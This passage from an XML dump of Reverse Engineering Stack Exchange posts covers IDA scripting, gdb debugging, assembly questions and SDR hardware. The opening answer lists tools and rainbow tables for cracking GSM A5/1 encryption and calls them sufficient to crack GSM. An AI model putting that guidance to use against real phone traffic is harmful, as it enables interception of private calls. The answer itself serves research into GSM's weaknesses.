href=&quot;https://docs.google.com/viewer?url=https://srlabs.de/blog/wp-content/uploads/2010/07/Attacking.Phone_.Privacy_Karsten.Nohl_1.pdf&quot;&gt;Attacking Phone Privacy&lt;/a&gt; and &lt;a href=&quot;https://docs.google.com/viewer?url=https://srlabs.de/blog/wp-content/uploads/2010/07/100729.Breaking.GSM_.Privacy.BlackHat1.pdf&quot;&gt;Breaking Phone Privacy&lt;/a&gt;. If you like animations, there is an &lt;a href=&quot;https://www.youtube.com/embed/LgZAI3DdUA4&quot;&gt;A5/1 Cipher Animation&lt;/a&gt; on YouTube. &lt;a href=&quot;https://twitter.com/matthew_d_green&quot;&gt;@matthew_d_green&lt;/a&gt; deserves to be mentioned, considering he wrote a small synthesis of cellular communications crypto flaws in his &lt;a href=&quot;http://blog.cryptographyengineering.com/2013/05/a-few-thoughts-on-cellular-encryption.html&quot;&gt;blog&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important observation : The GSM specifications are located in &lt;a href=&quot;http://www.3gpp.org/&quot;&gt;3GPP's website&lt;/a&gt;. To find them, you need to determine the &lt;a href=&quot;http://www.3gpp.org/Specification-Numbering&quot;&gt;numbering&lt;/a&gt; of the part you're looking for. Then, you browse into &lt;a href=&quot;ftp://ftp.3gpp.org/specs/&quot;&gt;their ftp server&lt;/a&gt; and look for the date and release you fancy. (Releases prior to 2012-13 need to be solicited through their contact mail). Supposing you want the latest &quot;3G and Beyond / GSM&quot; Signalling Protocols specifications, you'll need to browse to their &quot;latest&quot; folder, descend to the release you're looking for (i.e. Release 12), and finally download the &quot;Series&quot; that contain the information you need - which in this case would be &quot;Series 24&quot;. Therefore, the result of your endeavor would be : &lt;a href=&quot;ftp://ftp.3gpp.org/specs/latest/Rel-12/24_series/&quot;&gt;ftp://ftp.3gpp.org/specs/latest/Rel-12/24_series/&lt;/a&gt; .&#xA;It's not a good user experience, especially because there are several empty directories, but with patience, you can find what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/gat3way&quot;&gt;@gat3way&lt;/a&gt; deserves a special mention for documenting his experiments in cracking GSM A5/1 in his blog (&lt;a href=&quot;http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;amp;cntnt01articleid=199&amp;amp;cntnt01returnid=57&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;amp;cntnt01articleid=200&amp;amp;cntnt01returnid=57&quot;&gt;2&lt;/a&gt;,&lt;a href=&quot;http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;amp;cntnt01articleid=201&amp;amp;cntnt01returnid=57&quot;&gt;3&lt;/a&gt;)  - includes a brief description of the A5/1 mechanism - and the fact that he has implemented support for cracking A5/1 using Pornin's attack in his password recovery tool, &lt;a href=&quot;http://www.gat3way.eu/hashkill/index.php&quot;&gt;hashkill&lt;/a&gt; - &lt;a href=&quot;https://github.com/gat3way/hashkill/commit/d43fdd2ce042d75862930044fd0b4570bee56cf0&quot;&gt;git commit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An existing tool to crack A5/1 is Kraken, by srlabs (available through git://git.srlabs.de/kraken.git), which should be used after recording the data with Gnuradio/Gqrx and parsing it with &lt;a href=&quot;https://svn.berlin.ccc.de/projects/airprobe/&quot;&gt;Airprobe&lt;/a&gt;. It needs GSM rainbow tables, available at the &lt;a href=&quot;https://opensource.srlabs.de/projects/a51-decrypt/files&quot;&gt;jump&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tool that can be considered is &lt;a href=&quot;https://github.com/gat3way/hashkill/&quot;&gt;hashkill&lt;/a&gt;, which takes the key to be cracked in a &quot;frame_number:keystream&quot; format - it's author published the code for converting a bin burst into the required input format &lt;a href=&quot;http://www.gat3way.eu/poc/encode.c&quot;&gt;here&lt;/a&gt;. He also published a &lt;a href=&quot;http://www.gat3way.eu/poc/si5.phps&quot;&gt;php script&lt;/a&gt; to locate suitable SI5/SI6 encrypted bursts for cracking - you'll need to change the hardcoded values for SI5 frames to fit your location -, which, together with Kraken's xortool, &lt;a href=&quot;http://www.mail-archive.com/a51@lists.reflextor.com/msg01023.html&quot;&gt;gsmframecoder&lt;/a&gt; (that will be used to calculate Timing Advance changes) and &lt;a href=&quot;https://svn.berlin.ccc.de/projects/airprobe/&quot;&gt;Airprobe&lt;/a&gt; should be sufficient to crack GSM.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2013-10-31T22:33:04.247" LastActivityDate="2013-10-31T22:33:04.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2974" PostTypeId="1" CreationDate="2013-10-28T02:13:33.900" Score="4" ViewCount="476" Body="&lt;p&gt;I came across the following multi &lt;code&gt;mov&lt;/code&gt; instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 1, 2, 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this instruction do? Where can I find the correct documentation for this instruction?&lt;/p&gt;&#xA;" OwnerUserId="3064" LastEditorUserId="116" LastEditDate="2013-10-28T18:51:21.513" LastActivityDate="2013-10-28T18:51:21.513" Title="What does this multi mov instruction do?" Tags="|assembly|x86-64|" AnswerCount="0" CommentCount="10" ClosedDate="2014-01-11T06:52:35.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="2976" PostTypeId="2" ParentId="2964" CreationDate="2013-10-28T11:18:30.653" Score="5" Body="&lt;p&gt;Delphi and Borland C++ Builder use &lt;code&gt;EAX&lt;/code&gt;, &lt;code&gt;EDX&lt;/code&gt; and &lt;code&gt;ECX&lt;/code&gt; for the first three arguments in their variant of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Fastcall#fastcall&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;__fastcall&lt;/code&gt; calling convention&lt;/a&gt;. So if you choose &quot;Delphi&quot; or &quot;C++ Builder&quot; in Options-Compiler, you can just use &lt;code&gt;__fastcall&lt;/code&gt; in the function prototype - no need to resort to &lt;code&gt;__usercall&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="188" LastEditDate="2013-10-28T14:56:10.060" LastActivityDate="2013-10-28T14:56:10.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2977" PostTypeId="1" AcceptedAnswerId="3549" CreationDate="2013-10-29T16:48:48.743" Score="8" ViewCount="653" Body="&lt;p&gt;How can I clean up/simplify strings that are built at runtime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this a couple of times and figured that there has to be something easier. I've been manually converting the characters to try and interpret what strings are being formed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040166E C6 45 F0 5C   mov     [ebp+pszSubKey+2Ch], '\'&#xA;.text:00401672 C6 45 F1 57   mov     [ebp+pszSubKey+2Dh], 'W'&#xA;.text:00401676 C6 45 F2 69   mov     [ebp+pszSubKey+2Eh], 'i'&#xA;.text:0040167A C6 45 F3 6E   mov     [ebp+pszSubKey+2Fh], 'n'&#xA;.text:0040167E C6 45 F4 6C   mov     [ebp+pszSubKey+30h], 'l'&#xA;.text:00401682 C6 45 F5 6F   mov     [ebp+pszSubKey+31h], 6Fh&#xA;.text:00401686 C6 45 F6 67   mov     [ebp+pszSubKey+32h], 67h&#xA;.text:0040168A C6 45 F7 6F   mov     [ebp+pszSubKey+33h], 6Fh&#xA;.text:0040168E C6 45 F8 6E   mov     [ebp+pszSubKey+34h], 6Eh&#xA;.text:00401692 C6 45 F9 5C   mov     [ebp+pszSubKey+35h], 5Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1305" LastEditorUserId="245" LastEditDate="2022-06-01T10:35:29.350" LastActivityDate="2022-06-01T10:35:29.350" Title="How can I clean up strings built at runtime (stack strings)?" Tags="|ida|idapython|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2978" PostTypeId="1" CreationDate="2013-10-29T17:03:29.673" Score="7" ViewCount="963" Body="&lt;p&gt;I am trying to analyze a crackme file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open it with &lt;code&gt;gdb&lt;/code&gt;, I firstly set its &lt;code&gt;SIGTRAP&lt;/code&gt; handler with, &lt;em&gt;e.g.&lt;/em&gt;, &lt;code&gt;int80.SIGTRAP&lt;/code&gt; handler address &lt;code&gt;0x8011111&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I caught it through &lt;code&gt;catch syscall signal&lt;/code&gt; in &lt;code&gt;gdb&lt;/code&gt;. And, there are some traps in the application, some &lt;code&gt;int3&lt;/code&gt; interactions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x80abcde - int3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;gdbinit&lt;/code&gt; file is set like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b * 0x80abcde&#xA;commands 1&#xA;call (void)0x8011111(5)&#xA;continue&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this okay for emulation or do I need to still push the calling address on the stack ?&lt;/p&gt;&#xA;" OwnerUserId="3076" LastEditorUserId="53" LastEditDate="2013-10-29T17:51:02.007" LastActivityDate="2013-10-29T17:51:02.007" Title="How to perform SIGTRAP emulation with GDB?" Tags="|disassembly|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2980" PostTypeId="2" ParentId="2978" CreationDate="2013-10-29T17:12:55.073" Score="6" Body="&lt;p&gt;You could use the &lt;em&gt;handle&lt;/em&gt; command instead, to pass the signal to the application.&#xA;Maybe with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handle SIGTRAP nostop print pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GDB will:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not stop on SIGTRAP&lt;/li&gt;&#xA;&lt;li&gt;Pass it to the application&lt;/li&gt;&#xA;&lt;li&gt;Tell you when it get a SIGTRAP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-10-29T17:12:55.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2981" PostTypeId="1" CreationDate="2013-10-30T04:38:09.367" Score="5" ViewCount="327" Body="&lt;p&gt;I want to decompress some files, and found some information on how. Apparently they are encrypted with AES 128 in CFB mode, and sometimes compressed using ZLIB. Each file's key and IV is supposedly generated from the file size. This code is supposed to get them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Generate_Key_IV   proc near&#xA;      mov   eax, [ecx]&#xA;      movzx   edx, ax&#xA;      imul   edx, 9069h&#xA;      shr   eax, 10h&#xA;      add   edx, eax&#xA;      mov   eax, [ecx+4]&#xA;      push   esi                            ; Here file size&#xA;      movzx   esi, ax&#xA;      imul   esi, 4650h&#xA;      shr   eax, 10h&#xA;      add   eax, esi&#xA;      mov   [ecx], edx&#xA;      mov   [ecx+4], eax&#xA;      pop   esi&#xA;      test   edx, edx&#xA;      jnz   short loc_495EA2&#xA;      mov   dword ptr [ecx], 1&#xA;loc_495EA2:&#xA;      test   eax, eax&#xA;      jnz   short loc_495EAD&#xA;      mov   dword ptr [ecx+4], 0FFFFFFFFh&#xA;loc_495EAD:&#xA;      mov   eax, [ecx]&#xA;      shl   eax, 10h&#xA;      add   eax, [ecx+4]&#xA;      retn&#xA;Generate_Key_IV   endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that this is in Assembly, but unfortunately I don't have a clue how it works. I could of course learn it, but I expect that that would take a great deal of time, and I don't think I'd use it for much more than figuring out what the above means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah I'd be really grateful if someone could kind of outline what the above does and generally the method and/or algorithm for getting the key and IV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This C code was also given, and apparently shows how to use the above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall sub_47AFA0&amp;lt;eax&amp;gt;(int a1&amp;lt;eax&amp;gt;, int a2&amp;lt;ebp&amp;gt;, void *a3, size_t a4, __int64 a5)&#xA;{&#xA;  unsigned int v5;  // edi@1&#xA;  unsigned int v6;  // edi@3&#xA;  char v8;          // [sp-1A0h] [bp-1ACh]@2&#xA;  int v9;           // [sp-198h] [bp-1A4h]@1&#xA;  void *v10;        // [sp-194h] [bp-1A0h]@1&#xA;  char v11;         // [sp-190h] [bp-19Ch]@5&#xA;  char v12;         // [sp-140h] [bp-14Ch]@5&#xA;  int v13;          // [sp-40h] [bp-4Ch]@6&#xA;  void *v14;        // [sp-3Ch] [bp-48h]@5&#xA;  char v15;         // [sp-34h] [bp-40h]@2&#xA;  char v16;         // [sp-24h] [bp-30h]@4&#xA;  unsigned int v17; // [sp-14h] [bp-20h]@1&#xA;  char *v18;        // [sp-10h] [bp-1Ch]@1&#xA;  int v19;          // [sp-Ch] [bp-18h]@1&#xA;  int (__cdecl *v20)(int, int); // [sp-8h] [bp-14h]@1&#xA;  signed int v21;   // [sp-4h] [bp-10h]@1&#xA;  int v22;          // [sp+0h] [bp-Ch]@1&#xA;  void *v23;        // [sp+4h] [bp-8h]@1&#xA;  char v24;         // [sp+8h] [bp-4h]@1&#xA;  int v25;          // [sp+Ch] [bp+0h]@1&#xA;&#xA;  v22 = a2;&#xA;  v23 = (void *)v25;&#xA;  v21 = -1;&#xA;  v20 = sub_72CCC6;&#xA;  v19 = a1;&#xA;  v18 = &amp;amp;v24;&#xA;  v17 = (unsigned int)&amp;amp;v22 ^ __security_cookie;&#xA;  v10 = a3;&#xA;  v9 = sub_5657C0(a4);&#xA;  sub_495EC0(a4 * a5, (unsigned __int64)a4 * a5 &amp;gt;&amp;gt; 32);&#xA;  v5 = 0;&#xA;  do&#xA;    *(&amp;amp;v15 + v5++) = Generate_Key_IV((int)&amp;amp;v8);                          ;Generating KEY&#xA;  while ( v5 &amp;lt; 0x10 );&#xA;  v6 = 0;&#xA;  do&#xA;    *(&amp;amp;v16 + v6++) = Generate_Key_IV((int)&amp;amp;v8);                          ;Generating IV&#xA;  while ( v6 &amp;lt; 0x10 );&#xA;  sub_47AC20(&amp;amp;v15, 16, &amp;amp;v16);                          ; AES Routine&#xA;  v21 = 0;&#xA;  sub_433E00(v9, v10, a4);&#xA;  v21 = 1;&#xA;  sub_4799F0(&amp;amp;v11);&#xA;  if ( v14 == &amp;amp;v12 + (-(signed int)&amp;amp;v12 &amp;amp; 0xF) )&#xA;    memset(v14, 0, 4 * v13);&#xA;  return __security_check_cookie((unsigned int)&amp;amp;v22 ^ v17);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume that this simply uses the key and IV to decode files using AES. However if it contains anything necessary that I should know then that would also of course be great.&lt;/p&gt;&#xA;" OwnerUserId="3040" LastEditorUserId="53" LastEditDate="2013-10-30T08:19:58.867" LastActivityDate="2013-10-30T11:41:52.860" Title="What does this Generate_Key_IV assembler routine?" Tags="|assembly|c|encryption|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2982" PostTypeId="2" ParentId="2981" CreationDate="2013-10-30T08:06:45.543" Score="4" Body="&lt;p&gt;It's a &lt;a href=&quot;http://bitflipgames.com/2011/08/02/explorations-on-random-numbers-part-4/&quot; rel=&quot;nofollow&quot;&gt;Pseudorandom number generator&lt;/a&gt;: it's  a simple piece of code that produces values that are hard to predict while not taking too long  to compute. Check the &lt;a href=&quot;http://en.wikipedia.org/wiki/Pseudorandom_number_generator&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article&lt;/a&gt; for more informations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit&lt;/em&gt;: the equivalent C code is something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int random(unsigned int *seed)&#xA;{&#xA;  int temp1;&#xA;  int temp2;&#xA;&#xA;  temp1 = (*seed &amp;gt;&amp;gt; 16) + 36969 * (unsigned short)*seed;&#xA;  temp2 = 18000 * (unsigned short)seed[1] + (seed[1] &amp;gt;&amp;gt; 16);&#xA;  *seed = temp1;&#xA;  seed[1] = temp2;&#xA;  if (!temp1) *seed = 1;&#xA;  if (!temp2) seed[1] = -1;&#xA;  return seed[1] + (*seed &amp;lt;&amp;lt; 16);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-10-30T11:41:52.860" LastActivityDate="2013-10-30T11:41:52.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2983" PostTypeId="1" AcceptedAnswerId="2988" CreationDate="2013-10-30T11:15:39.893" Score="19" ViewCount="14994" Body="&lt;p&gt;It's something that puzzle me for a long time. I can observe that there is a difference between the real execution of a program and the &lt;code&gt;gdb&lt;/code&gt;-controlled one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, here is an example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, here is the example code (we use an automatic variable to get the location of the stack):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main ()&#xA;{&#xA;  char c = 0;&#xA;&#xA;  printf (&quot;Stack address: %p\n&quot;, &amp;amp;c);&#xA;&#xA;  return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, we disable the ASLR (we use the personality flags of the process and not the system-wide method through &lt;code&gt;/proc/sys/kernel/randomize_va_space&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; setarch `uname -m` -R /bin/bash&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, get a run in the real memory environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack address: 0x7fffffffe1df&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And, the same through &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; (gdb) r&#xA; Starting program: ./gdb-against-reality&#xA; Stack address: 0x7fffffffe17f&#xA; [Inferior 1 (process 5374) exited normally]&#xA; (gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, here we have a difference of 96 bytes between the two runs. But, how can I predict this difference for a given program without having it running in the &lt;em&gt;real&lt;/em&gt; memory layout (just by knowing the &lt;code&gt;gdb&lt;/code&gt; memory layout) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, also, from where/what is coming this difference ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-10T09:02:45.390" Title="How to predict address space layout differences between real and gdb-controlled executions?" Tags="|gdb|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2984" PostTypeId="1" CreationDate="2013-10-30T12:14:10.647" Score="7" ViewCount="595" Body="&lt;p&gt;If two devices have wireless interconnection, how to detect carrier frequency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Range may vary in all radio, from FM, GSM to Wi-Fi and WiMax. Which tools are effective for doing this? Which one is economical to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question like a first part of my another question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2956/attack-on-wireless-interconnection?noredirect=1&quot;&gt;Attack on wireless interconnection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, list of devices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://greatscottgadgets.com/hackrf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HackRF&lt;/a&gt; - a project to build a low cost software radio platform.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nuand.com/bladeRF&quot; rel=&quot;nofollow noreferrer&quot;&gt;BladeRF&lt;/a&gt; - the USB 3.0 Superspeed Software Defined Radio. ( work from 300Mhz, thereby it can not get telemetry of satellites, but HackRF can )  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kickstarter.com/projects/652945597/red-pitaya-open-instruments-for-everyone&quot; rel=&quot;nofollow noreferrer&quot;&gt;Red Pitaya&lt;/a&gt; Initial set includes: oscilloscope, spectrum analyzer, arbitrary signal generator, frequency response analyzer, PID controller&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://myriadrf.org/myria-rf-board-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Myriad-RF 1&lt;/a&gt; - is a multi-band, multi-standard RF module.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hdsdr.de/hardware.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;HDSDR&lt;/a&gt; - High Definition Software Defined Radio.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3054" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-11-09T09:48:40.817" Title="Which instrument is effective in discovering carrier frequency?" Tags="|tools|hardware|radio-interception|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2985" PostTypeId="2" ParentId="2984" CreationDate="2013-10-30T14:25:49.540" Score="6" Body="&lt;p&gt;If this a commercial device sold in United States, it must be FCC certified and so must have a label with the FCC ID mentioned somewhere. You can use &lt;a href=&quot;http://transition.fcc.gov/oet/ea/fccid/&quot;&gt;this page&lt;/a&gt; to search for any documents FCC has on file for this device. They should mention the frequencies on which the device operates.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-10-30T14:25:49.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2986" PostTypeId="2" ParentId="2977" CreationDate="2013-10-30T16:32:22.520" Score="3" Body="&lt;p&gt;You could use &lt;a href=&quot;http://www.idabook.com/x86emu/&quot; rel=&quot;nofollow&quot;&gt;ida-x86emu&lt;/a&gt; to emulate the dynamic construction of the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want something more automated then you'd need to write an IDA script or plugin.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-10-30T16:32:22.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2988" PostTypeId="2" ParentId="2983" CreationDate="2013-10-30T18:38:44.383" Score="17" Body="&lt;p&gt;There could be other factors involved, but my guess would be that changes in the process environment variables, which are stored on the stack, are what's causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a small &lt;a href=&quot;https://stackoverflow.com/questions/2085302/printing-all-environment-variables-in-c-c&quot;&gt;program&lt;/a&gt; that just prints out the environment variables reveals a couple variations in environment variables when run inside vs outside gdb on my system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv, char** envp)&#xA;{&#xA;  char** env;&#xA;  for (env = envp; *env != 0; env++)&#xA;  {&#xA;    char* thisEnv = *env;&#xA;    printf(&quot;%s\n&quot;, thisEnv);    &#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, when running under gdb, there is a LINES variable that isn't present when the process is started outside of gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LINES=83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, the underscore environment variable is different. When running outside of gdb, it is set to the name of the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_=./gdbtest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when started from inside gdb, it is set to the path of the gdb binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_=/usr/bin/gdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can try to run the program normally, then attach to it with gdb/gdbserver, which should avoid these variations in environment variables (assuming that is in fact what is causing your problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your process is short-lived, it can be hard to pause the process before it exits. Maybe someone else has some good suggestions on starting a process in a paused state; I usually use a second program like &lt;a href=&quot;https://code.google.com/p/botox/source/browse/trunk/src/botox.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; to catch the process as it is starting and pause it so I can attach a debugger to it.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-10-30T20:54:38.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2989" PostTypeId="1" CreationDate="2013-10-30T21:38:25.390" Score="11" ViewCount="2978" Body="&lt;p&gt;I am using Detours 3.0 to hook onto a function I obtained from Ida Pro. The problem is I came across a function which I cannot seem to hook which is due to either invalid arguements or the fact that it uses a variable arguement list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int (*MakePacketBuffer)(const char * buf, int len, const char * splitstr, ...);&#xA;#define MakePacketBufferProto int (*)(const char *, int, const char *, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is what I imagine the parameters to be like, in Ida Pro its actually shown like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_66EEF0(int a1, int a2, const char *a3, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How that function is called in Ida:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_66EEF0(buf, 2048, &quot;%c%c%c%c%s%c%c&quot;, v15, 250, v20, v21, v22, v23, v25);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3085" LastActivityDate="2016-05-11T09:13:00.677" Title="Hooking to a function with variable argument list" Tags="|ida|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2990" PostTypeId="1" AcceptedAnswerId="2992" CreationDate="2013-10-31T07:52:24.587" Score="3" ViewCount="1878" Body="&lt;p&gt;Is it possible to see a kind of statistics in IDA about functions and how often they are referenced? When analyzing a program, I find it helpfull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions that are referenced very often typically are common functionality. An example would be stuff like &lt;code&gt;strcmp()&lt;/code&gt;, &lt;code&gt;malloc()/free()&lt;/code&gt;, &lt;code&gt;strlen()&lt;/code&gt;, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of those are quite easy to identfiy (like  a &lt;code&gt;strcmp()&lt;/code&gt; implementation), and giving a name to those functions early on, makes the analysis of the rest more easy.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-11-02T01:44:16.597" Title="Statistics of call XREFs" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2991" PostTypeId="1" AcceptedAnswerId="3016" CreationDate="2013-10-31T11:39:20.817" Score="7" ViewCount="3318" Body="&lt;p&gt;I have a structure which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RefString struct&#xA;     RefCount dd ?&#xA;     StrLen   dd ?&#xA;     CString  db...&#xA; RefString ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the code passes around a pointer, it doesn't point to the beginning of the struct (RefCount), instead it points to CString, which is allocated as a normal C-String with a zero terminating character, as well as having the strlen and a refcount. So when the code accesses the strlen or refcount it uses &lt;code&gt;ptr-4&lt;/code&gt; respectively &lt;code&gt;ptr-8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually that's quite a nice construct, because this way the string can be used as a delphistring, but also directly passed to some system functions without the need of converting back and forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wonder though, if it is possible in IDA to create a struct with the basepointer to the string and it knows that the other fields are with the negative offset.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-11-06T04:53:10.507" Title="Struct with negative offset in IDA possible" Tags="|ida|struct|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2992" PostTypeId="2" ParentId="2990" CreationDate="2013-10-31T11:46:32.090" Score="9" Body="&lt;p&gt;There might be an easier way to get the count XrefsTo a certain function, but this worked for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;funcs = Functions()&#xA;for f in funcs:&#xA;   name = Name(f)&#xA;   print &quot;%s %d&quot; % (name, len(list(XrefsTo(f))))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-10-31T11:46:32.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
